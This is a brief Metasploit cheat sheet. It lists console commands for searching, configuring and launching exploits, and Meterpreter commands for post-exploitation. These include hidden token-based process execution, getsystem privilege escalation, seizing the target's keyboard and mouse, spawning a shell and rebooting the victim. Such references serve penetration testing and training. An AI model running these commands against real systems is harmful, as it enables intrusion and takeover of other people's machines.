Metasploit Cheat Sheet

Install Ruby and RubyGems on your system.
Download Metasploit Source Code in a tarball format or from github
Turn off your firewall to listen for reverse shell connections (sudo service iptables stop).

MSF Console Commands

./msfconsole	opens the metasploit terminal
search [keyword] search 2003-07-16	searches for exploits using a keyword
info [/foo/bar/exploit/name]	displays information about an exploit
use [/foo/bar/exploit/name]	opens an exploit for usage
show options	displays the parameters that need to be set for a currently selected exploit
set [option] [value] set RHOST 192.168.122.75	sets a parameter for the exploit
exploit	executes the currently selected exploit

MSF Meterpreter Commands

execute -f cmd.exe -i -H -t	Execute cmd.exe with all available tokens and make it a hidden process.
getprivs	Get as many privileges as possible on the target
getsystem	get SYSTEM account access on windows (better than administrator)
uictl enable keyboard/mouse	Take control of the keyboard and/or mouse
?	list meterpreter commands (help page)
shell	spawn a cmd.exe shell (type exit to go back to meterpreter)
shift+pageup or shift+pagedown	scroll up and down in a terminal
reboot	reboot the target machine